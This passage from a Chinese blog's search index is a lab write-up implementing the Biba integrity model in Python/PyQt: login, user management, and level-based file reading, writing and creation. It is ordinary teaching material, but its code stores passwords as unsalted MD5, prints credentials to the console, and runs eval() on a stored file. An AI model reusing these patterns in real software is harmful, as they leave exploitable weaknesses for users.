对于写和执行操作,有如下规则:<blockquote><p><strong>写规则控制</strong><br>当且仅当主体S的完整性级别大于或等于客体O的完整性级别时主体S可以写客体O,一般称之为<strong>上写</strong>。<br><strong>执行操作控制</strong><br>当且仅当主体S2的完整性级别高于或等于S1,主体S1可以执行主体S2。 </p></blockquote></li><li style="list-style: none"><input type="checkbox"> 关于读操作,有不同的控制策略:<blockquote><p><strong>低水标模型</strong><br>任意主体可以读任意完整性级别的客体,但是如果主体读完整性级别比自己低的客体时,主体的完整性级别将为客体完整性级别,否则,主体的完整性级别保持不变。<br><strong>环模型</strong><br>不管完整性级别如何,任何主体都可以读任何客体<br><strong>严格完整性模型</strong><br>这个模型对读操作是根据主客体的完整性级别严格控制的,即只有完整性级别低或相等的主体才可以读完整性级别高的客体,称为<strong>下读</strong></p></blockquote></li></ul><p><strong>一般都是指毕巴严格完整性模型,总结来说是上写、下读</strong></p><hr><h2 id="实验内容:"><a href="#实验内容:" class="headerlink" title="实验内容:"></a>实验内容:</h2><h3 id="用户登录实现"><a href="#用户登录实现" class="headerlink" title="用户登录实现"></a>用户登录实现</h3><p><strong>核对用户输入的账户密码与存储的是否匹配</strong></p><p><img src="https://github.com/Cool-Y/BIBA-model/blob/master/img/login.PNG" alt="login"></p><ul><li>从用户输入框获取账户和密码</li><li>检查输入信息是否合法(为空)</li><li>从password.txt中获取并保存在列表listFromLine中</li><li>检查输入的账户是否存在</li><li>若存在,检查对应的密码是否正确</li><li><p>若正确,判断是管理员还是普通用户,并跳转相应的界面</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">checkPass</span><span class="params">(self)</span>:</span></span><br><span class="line"> nameIn = self.lineEdit.text()</span><br><span class="line"> passwdIn = self.lineEdit_2.text()</span><br><span class="line"> md5 = hashlib.md5()</span><br><span class="line"> md5.update(passwdIn.encode(<span class="string">"utf-8"</span>))</span><br><span class="line"> passwdIn = md5.hexdigest()</span><br><span class="line"> <span class="keyword">if</span> (nameIn == <span class="string">''</span>) <span class="keyword">or</span> (passwdIn == <span class="string">''</span>):</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"账号和密码不能为空"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br><span class="line"> print(nameIn, passwdIn)</span><br><span class="line"> fr = open(<span class="string">'./etc/passwd.txt'</span>)</span><br><span class="line"> arrayofLines = fr.readlines()</span><br><span class="line"> numberofLines = len(arrayofLines)</span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> arrayofLines:</span><br><span class="line"> line = line.strip()</span><br><span class="line"> listFromLine = line.split(<span class="string">':'</span>)</span><br><span class="line"> name = listFromLine[<span class="number">0</span>]</span><br><span class="line"> <span class="keyword">if</span> name == nameIn:</span><br><span class="line"> numberofLines = <span class="number">-1</span></span><br><span class="line"> passwd = listFromLine[<span class="number">1</span>]</span><br><span class="line"> <span class="keyword">if</span> passwd == passwdIn:</span><br><span class="line"> group = listFromLine[<span class="number">2</span>]</span><br><span class="line"> print(<span class="string">"\n登录成功!\n"</span>)</span><br><span class="line"> <span class="keyword">if</span> name == <span class="string">'root'</span>:</span><br><span class="line"> print(<span class="string">'root登录'</span>)</span><br><span class="line"> rootUI.show()</span><br><span class="line"> MainWindow.close()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> urName = nameIn</span><br><span class="line"> mainUI.lineEdit.setText(urName)</span><br><span class="line"> mainUI.lineEdit_2.setText(group)</span><br><span class="line"> mainUI.show()</span><br><span class="line"> MainWindow.close()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"密码错误!"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br><span class="line"> fr.close()</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span></span><br></pre></td></tr></table></figure></li></ul><hr><h3 id="管理员功能实现"><a href="#管理员功能实现" class="headerlink" title="管理员功能实现"></a>管理员功能实现</h3><p><strong>管理员可以对用户进行增、删、查的操作</strong></p><p><img src="https://github.com/Cool-Y/BIBA-model/blob/master/img/rootUI.PNG" alt="login"></p><h4 id="增加用户的实现"><a href="#增加用户的实现" class="headerlink" title="增加用户的实现"></a>增加用户的实现</h4><blockquote><ul><li>获取管理员输入的用户名、密码和用户等级</li><li>将明文密码转换为md5值</li><li>判断输入的账户是否已经存在以及是否为空</li><li>如果没有问题将其存入passwd.txt的末尾</li></ul></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">adduser</span><span class="params">(self)</span>:</span></span><br><span class="line"> print(<span class="string">'开始添加'</span>)</span><br><span class="line"> name = self.lineEdit_4.text()</span><br><span class="line"> passwd = self.lineEdit_6.text()</span><br><span class="line"> md5 = hashlib.md5()</span><br><span class="line"> md5.update(passwd.encode(<span class="string">"utf-8"</span>))</span><br><span class="line"> passwd = md5.hexdigest()</span><br><span class="line"> group = self.comboBox.currentText()</span><br><span class="line"> self.name = name</span><br><span class="line"> <span class="keyword">if</span> self.euxit():</span><br><span class="line"> <span class="keyword">if</span> name == <span class="string">''</span> <span class="keyword">or</span> passwd == <span class="string">''</span>:</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"账号和密码不能为空"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> cur_path = os.getcwd()</span><br><span class="line"> filename = cur_path + <span class="string">'/etc/passwd.txt'</span></span><br><span class="line"> fi = open(filename, <span class="string">'r+'</span>)</span><br><span class="line"> str = name + <span class="string">':'</span> + passwd + <span class="string">':'</span> + group + <span class="string">'\n'</span></span><br><span class="line"> print(<span class="string">'成功增加用户'</span> + str + <span class="string">'\n'</span>)</span><br><span class="line"> fi.seek(<span class="number">0</span>, <span class="number">2</span>)</span><br><span class="line"> fi.write(str)</span><br><span class="line"> fi.close()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"用户已存在"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br></pre></td></tr></table></figure><h4 id="查询已有用户的实现"><a href="#查询已有用户的实现" class="headerlink" title="查询已有用户的实现"></a>查询已有用户的实现</h4><blockquote><p>从passwd.txt中逐行读出</p></blockquote><p><img src="https://github.com/Cool-Y/BIBA-model/blob/master/img/existUser.PNG" alt="login"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">readuser</span><span class="params">(self)</span>:</span></span><br><span class="line"> print(<span class="string">'readuser'</span>)</span><br><span class="line"> cur_path = os.getcwd()</span><br><span class="line"> filename = cur_path + <span class="string">'/etc/passwd.txt'</span></span><br><span class="line"> fo = open(filename)</span><br><span class="line"> arrayofLines = fo.readlines()</span><br><span class="line"> names = <span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> arrayofLines:</span><br><span class="line"> line = line.strip()</span><br><span class="line"> listFromLine = line.split(<span class="string">':'</span>)</span><br><span class="line"> names = names + listFromLine[<span class="number">0</span>] + <span class="string">'\n'</span></span><br><span class="line"> self.textEdit.setPlaceholderText(names)</span><br></pre></td></tr></table></figure><h4 id="删除用户的实现"><a href="#删除用户的实现" class="headerlink" title="删除用户的实现"></a>删除用户的实现</h4><blockquote><p>从passwd.txt中逐行读出用户名并与待删除用户比较如果相同则删除该行</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">rmuser</span><span class="params">(self)</span>:</span></span><br><span class="line"> print(<span class="number">1</span>)</span><br><span class="line"> cur_path = os.getcwd()</span><br><span class="line"> filename = cur_path + <span class="string">'/etc/passwd.txt'</span></span><br><span class="line"> rmName = self.lineEdit.text()</span><br><span class="line"> <span class="keyword">with</span> open(filename, <span class="string">'r'</span>,encoding=<span class="string">"utf-8"</span>) <span class="keyword">as</span> r:</span><br><span class="line"> lines = r.readlines()</span><br><span class="line"> lenl = len(lines)</span><br><span class="line"> <span class="keyword">with</span> open(filename, <span class="string">'w'</span>,encoding=<span class="string">"utf-8"</span>) <span class="keyword">as</span> w:</span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> lines:</span><br><span class="line"> l = line.strip()</span><br><span class="line"> listFromLine = l.split(<span class="string">':'</span>)</span><br><span class="line"> <span class="keyword">if</span> rmName == listFromLine[<span class="number">0</span>]:</span><br><span class="line"> print(<span class="string">'删除用户'</span> + rmName)</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">if</span> line == <span class="string">'\n'</span>:</span><br><span class="line"> print(<span class="string">'find换行'</span>)</span><br><span class="line"> line = <span class="string">''</span></span><br><span class="line"> w.write(line)</span><br></pre></td></tr></table></figure><hr><h3 id="普通用户功能实现"><a href="#普通用户功能实现" class="headerlink" title="普通用户功能实现"></a>普通用户功能实现</h3><p><strong>普通用户可以完成对合法权限文件的读取、增加内容(上写下读)以及创建文件的操作</strong></p><p><img src="https://github.com/Cool-Y/BIBA-model/blob/master/img/normal.PNG" alt="login"></p><h4 id="读取文件内容"><a href="#读取文件内容" class="headerlink" title="读取文件内容"></a>读取文件内容</h4><blockquote><p>双击文件名<br>获取选中文件和当前用户的完整性级别<br>如果用户的级别低于文件,则读取文件内容</p></blockquote> <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">readfile</span><span class="params">(self)</span>:</span></span><br><span class="line"> dict = self.getGrade()</span><br><span class="line"> fgrade = str(dict[self.file_path])</span><br><span class="line"> ugrade = self.lineEdit_2.text()</span><br><span class="line"> <span class="keyword">if</span> ugrade &gt;= fgrade:</span><br><span class="line"> print(ugrade+ <span class="string">' 正在读取 '</span>+fgrade)</span><br><span class="line"> filename = self.file_path</span><br><span class="line"> print(filename)</span><br><span class="line"> fr = open(filename)</span><br><span class="line"> lines = <span class="string">''</span></span><br><span class="line"> arrayofLines = fr.readlines()</span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> arrayofLines:</span><br><span class="line"> lines += line</span><br><span class="line"> self.textEdit.setText(lines)</span><br><span class="line"> print(<span class="string">'读取成功\n'</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"您的用户等级太高"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br></pre></td></tr></table></figure><h4 id="增加文件内容"><a href="#增加文件内容" class="headerlink" title="增加文件内容"></a>增加文件内容</h4><blockquote><p>双击文件名<br>获取选中文件和当前用户的完整性级别<br>如果用户的级别高于文件,则写入文件内容</p></blockquote> <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">writefile</span><span class="params">(self)</span>:</span></span><br><span class="line"> dict = self.getGrade()</span><br><span class="line"> fgrade = dict[self.file_path]</span><br><span class="line"> ugrade = self.lineEdit_2.text()</span><br><span class="line"> print(ugrade + <span class="string">' 正在写入 '</span> + fgrade)</span><br><span class="line"> <span class="keyword">if</span> ugrade &lt;= fgrade:</span><br><span class="line"> filename = self.file_path</span><br><span class="line"> str = self.textEdit.toPlainText()</span><br><span class="line"> print(str)</span><br><span class="line"> fo = open(filename, <span class="string">'r+'</span>)</span><br><span class="line"> fo.seek(<span class="number">0</span>, <span class="number">2</span>)</span><br><span class="line"> fo.write(str)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"您的用户等级太低"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br></pre></td></tr></table></figure><h4 id="创建文件"><a href="#创建文件" class="headerlink" title="创建文件"></a>创建文件</h4><blockquote><p>获取当前用户名和输入的文件名<br>在当前路径下创建名为用户名的文件<br>并对新创建的文件与用户等级建立字典新文件路径为key用户等级为value<br>这个字典方便读写时判断等级高低</p></blockquote> <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">touchfile</span><span class="params">(self)</span>:</span></span><br><span class="line"> urName = self.lineEdit.text()</span><br><span class="line"> filename = self.lineEdit_4.text()</span><br><span class="line"> cur_path = os.getcwd()</span><br><span class="line"> new_path = os.path.join(cur_path + <span class="string">'/file'</span>, urName)</span><br><span class="line"> print(urName)</span><br><span class="line"> <span class="keyword">if</span> os.path.exists(new_path) == <span class="literal">False</span>:</span><br><span class="line"> os.mkdir(new_path)</span><br><span class="line"> os.chdir(new_path)</span><br><span class="line"> fr = open(filename, <span class="string">'w'</span>)</span><br><span class="line"> key = (new_path + <span class="string">'/'</span> + filename).replace(<span class="string">'\\'</span>, <span class="string">'/'</span>)</span><br><span class="line"> fr.close()</span><br><span class="line"> os.chdir(cur_path)</span><br><span class="line"> fa = open(<span class="string">'./etc/ac.txt'</span>, <span class="string">'r'</span>)</span><br><span class="line"> a = fa.read()</span><br><span class="line"> <span class="keyword">if</span> a == <span class="string">''</span>:</span><br><span class="line"> dict = &#123;&#125;</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> dict = eval(a)</span><br><span class="line"> dict[key] = self.lineEdit_2.text()</span><br><span class="line"> fr = open(<span class="string">'./etc/ac.txt'</span>, <span class="string">'w'</span>)</span><br><span class="line"> fr.write(str(dict))</span><br><span class="line"> fr.close()</span><br><span class="line"> fa.close()</span><br></pre></td></tr></table></figure><hr>]]></content>
<categories>
<category> 理论学习 </category>
</categories>
<tags>
<tag> 模型实现 </tag>
<tag> python </tag>
<tag> 访问控制 </tag>
</tags>
</entry>
<entry>
<title>Hello World</title>
<link href="/2000/01/01/hello-world/"/>
<url>/2000/01/01/hello-world/</url>
<content type="html"><![CDATA[<p>你好!我是混元霹雳手</p>]]></content>
</entry>
</search>